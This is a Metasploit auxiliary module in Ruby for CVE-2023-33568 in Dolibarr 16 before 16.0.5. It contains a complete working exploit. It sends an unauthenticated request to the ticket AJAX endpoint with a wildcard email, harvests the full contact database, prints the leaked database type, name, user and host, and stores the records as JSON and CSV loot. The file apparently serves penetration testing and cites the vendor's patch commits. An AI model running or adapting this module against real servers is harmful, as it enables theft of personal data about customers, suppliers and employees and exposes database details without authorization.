##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Module::Failure

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Dolibarr 16 pre-auth contact database dump',
        'Description' => %q{
          Dolibarr version 16 < 16.0.5 is vulnerable to a pre-authentication contact database dump.
          An unauthenticated attacker may retrieve a company's entire customer file, prospects, suppliers,
          and potentially employee information if a contact file exists.
          Both public and private notes are also included in the dump.
        },
        'Author' => [
          'Vladimir TOUTAIN', 'Nolan LOSSIGNOL-DRILLIEN'
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2023-03-14',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'References' => [
          ['CVE', '2023-33568'],
          ['URL', 'https://www.dsecbypass.com/en/dolibarr-pre-auth-contact-database-dump/'],
          ['URL', 'https://github.com/Dolibarr/dolibarr/blob/16.0.5/ChangeLog#L34'],
          ['URL', 'https://github.com/Dolibarr/dolibarr/commit/bb7b69ef43673ed403436eac05e0bc31d5033ff7'],
          ['URL', 'https://github.com/Dolibarr/dolibarr/commit/be82f51f68d738cce205f4ce5b469ef42ed82d9e']
        ],
        'DefaultOptions' => {
          'HttpClientTimeout' => 20
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'Path to Dolibarr instance', '/'])
      ]
    )
  end

  def check_host(_ip)
    res = send_request_cgi!({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })
    return Exploit::CheckCode::Unknown('Connection failed') unless res
    return Exploit::CheckCode::Safe('Target did not return HTTP 200') unless res.code == 200

    version = res.body.scan(/Dolibarr ([\d.]+-*[a-zA-Z0-9]*)/).flatten.first

    return Exploit::CheckCode::Detected('Dolibarr version not found - proceeding anyway...') if version.blank?

    if Rex::Version.new(version).between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.0.4'))
      return Exploit::CheckCode::Appears("Detected vulnerable Dolibarr version: #{version}")
    end

    return Exploit::CheckCode::Safe("Detected apparently non-vulnerable Dolibarr version: #{version}")
  end

  def run_host(ip)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/public/ticket/ajax/ajax.php'),
      'vars_get' => {
        'action' => 'getContacts',
        'email' => '%'
      }
    }, datastore['HttpClientTimeout'], true)

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response - try increasing HttpClientTimeout") if res.nil?
    fail_with(Failure::UnexpectedReply, "Exploit response code: #{res.code}") if res.code != 200

    res_json_document = res.get_json_document

    fail_with(Failure::UnexpectedReply, 'Dolibarr data did not include contacts field') if res_json_document['contacts'].blank?

    contacts = res_json_document['contacts']

    print_good("Database type: #{contacts.dig(0, 'db', 'type') || '<not found>'}")
    print_good("Database name: #{contacts.dig(0, 'db', 'database_name') || '<not found>'}")
    print_good("Database user: #{contacts.dig(0, 'db', 'database_user') || '<not found>'}")
    print_good("Database host: #{contacts.dig(0, 'db', 'database_host') || '<not found>'}")
    print_good("Database port: #{contacts.dig(0, 'db', 'database_port') || '<not found>'}")

    contact_fields = contacts[0].keys
    contact_fields.delete('db') # We do not want this in the csv

    nbr_contact = contacts.length

    path_json_file = store_loot(
      'dolibarr',
      'application/json',
      ip,
      JSON.pretty_generate(res.get_json_document),
      '.json'
    )

    print_good("Found #{nbr_contact} contacts.")
    print_good("#{Rex::Socket.to_authority(rhost, rport)} - File saved in: #{path_json_file}")

    csv_string = CSV.generate do |csv| # Loop to write into csv
      csv << contact_fields
      contacts.each do |contact|
        csv << contact_fields.map do |element|
          if contact[element.to_s].is_a?(String) || contact[element.to_s].is_a?(Integer)
            contact[element.to_s]&.to_s&.strip || ''
          else
            ''
          end
        end
      end
    end

    path_csv_file = store_loot(
      'dolibarr',
      'application/csv',
      ip,
      csv_string,
      '.csv'
    )

    print_good("#{Rex::Socket.to_authority(rhost, rport)} - File saved in: #{path_csv_file}")
  end

end
